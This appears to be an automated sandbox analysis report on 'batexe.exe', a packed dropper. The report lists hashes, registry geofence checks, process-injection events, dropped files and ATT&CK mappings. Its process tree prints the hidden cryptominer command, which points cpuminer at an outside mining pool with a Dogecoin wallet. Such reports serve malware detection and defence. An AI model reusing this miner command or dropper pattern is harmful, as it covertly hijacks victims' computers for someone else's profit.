73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
14/02/2024, 09:13

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2788	b2e.exe
3324	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3324	cpuminer-sse2.exe
3324	cpuminer-sse2.exe
3324	cpuminer-sse2.exe
3324	cpuminer-sse2.exe
3324	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/764-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 764 wrote to memory of 2788	764	batexe.exe	85
PID 764 wrote to memory of 2788	764	batexe.exe	85
PID 764 wrote to memory of 2788	764	batexe.exe	85
PID 2788 wrote to memory of 3540	2788	b2e.exe	86
PID 2788 wrote to memory of 3540	2788	b2e.exe	86
PID 2788 wrote to memory of 3540	2788	b2e.exe	86
PID 3540 wrote to memory of 3324	3540	cmd.exe	89
PID 3540 wrote to memory of 3324	3540	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:764
- C:\Users\Admin\AppData\Local\Temp\B6FC.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B6FC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B6FC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BB03.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3540
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B6FC.tmp\b2e.exe

Filesize
33.9MB

MD5
f988adef8272296a46f1fcfcf63db785

SHA1
edbbcda2fe1f2211bc6bec298ba03670a066e0b7

SHA256
0e5e42284c0f8e7b41cae816d03cb30c704d3ffc8974fbca01ded6cd6fa93cc5

SHA512
39bb3aa7f6e187899e633d5503886e551e4154487d1fcf1ec037aeb0f90c9cf74bf01a974a97493a29188513e5d17823a09c0897ebc191bb81e4d8e86ec02846

Download Submit
C:\Users\Admin\AppData\Local\Temp\B6FC.tmp\b2e.exe

Filesize
13.1MB

MD5
832e72524849d48f599eedcad26caa88

SHA1
06410765cfd68b1ffdf6f229d35436f18f20fb2d

SHA256
52528a1fb9a68983393d497adb6fb9d6f7b1f4848d377f0c86638267f94ad569

SHA512
22aa5288c5c51c5f9c6c49afee0ab6dbebeeab58637aabb0df6331963f93acb2382818d05e645c48774496aac1df0f429c44ea4cf0f76cd579dfa922d12cc134

Download Submit
C:\Users\Admin\AppData\Local\Temp\B6FC.tmp\b2e.exe

Filesize
13.4MB

MD5
270c1bdcce4e340948d63fd5a20546d1

SHA1
46922d1c230850cba16370584792bc8ad1aef127

SHA256
532f4552fbe58072252630617e49d57591269f83596fc487f7de0baad1afbd15

SHA512
857e49e369d92a38332c955c3114fe00a9fb0142e7cc31dc3d9f9d1a5e4b3b3de18a35b5e94658d4609e11d09ea5df207641fee14d059d4eb4e306a7e08580fe

Download Submit
C:\Users\Admin\AppData\Local\Temp\BB03.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.3MB

MD5
b66dcd640f4ae67bce40c2a9bc188872

SHA1
b0286f28252bbcb2d7035f2821d0d5f22d446d85

SHA256
20be66cd03e11aa07834e53b2fc24a18d1f0d56435f4e21d8ac572d8d3933872

SHA512
34538abdfaec264527b1c12dc2f849b099d7a1112d18059034b30e40bb22fb82d067fd8e967b439f09bb3b7c3ccd995440956c80ddf122a290866bec43d47dd5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
15bbe1e8aa36bd041ef374e4a718b3ff

SHA1
aeecafa9b469b1817448cceb28fa01383c6911cd

SHA256
a9190158d575ccd04cd992d45282d4a9254d62cce2e325216f06bece8fbf4bff

SHA512
4bc9647fc6d8de56eecc627c487d795d374f2da7a71b6b09bdfa9e518cb67fe12d5d0eeb13ff83c7a38eb41acfdf44b5397087c60c3542cbe3215969551f076a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.3MB

MD5
06caa0d98b1560bac688fae0ca9dd01e

SHA1
e19102ec74119169f72f254a8a72d653e40bdad4

SHA256
22723363d5ce20b76ebefe046f78cf56a1c63b06f8bcbf384a8d27fc7380d842

SHA512
25bbc923f706c54ce2bfba2e464d216ee0f0eb9485c8e72aef17a71ffba26cd641758d8ca19a9c0dfcee5cee04436e7500b2363b0856a9908e4531865b29798f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/764-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2788-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2788-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3324-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3324-45-0x0000000073A60000-0x0000000073AF8000-memory.dmp

Filesize
608KB

Download
memory/3324-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3324-47-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/3324-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3324-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3324-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3324-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3324-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3324-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3324-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3324-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3324-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3324-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download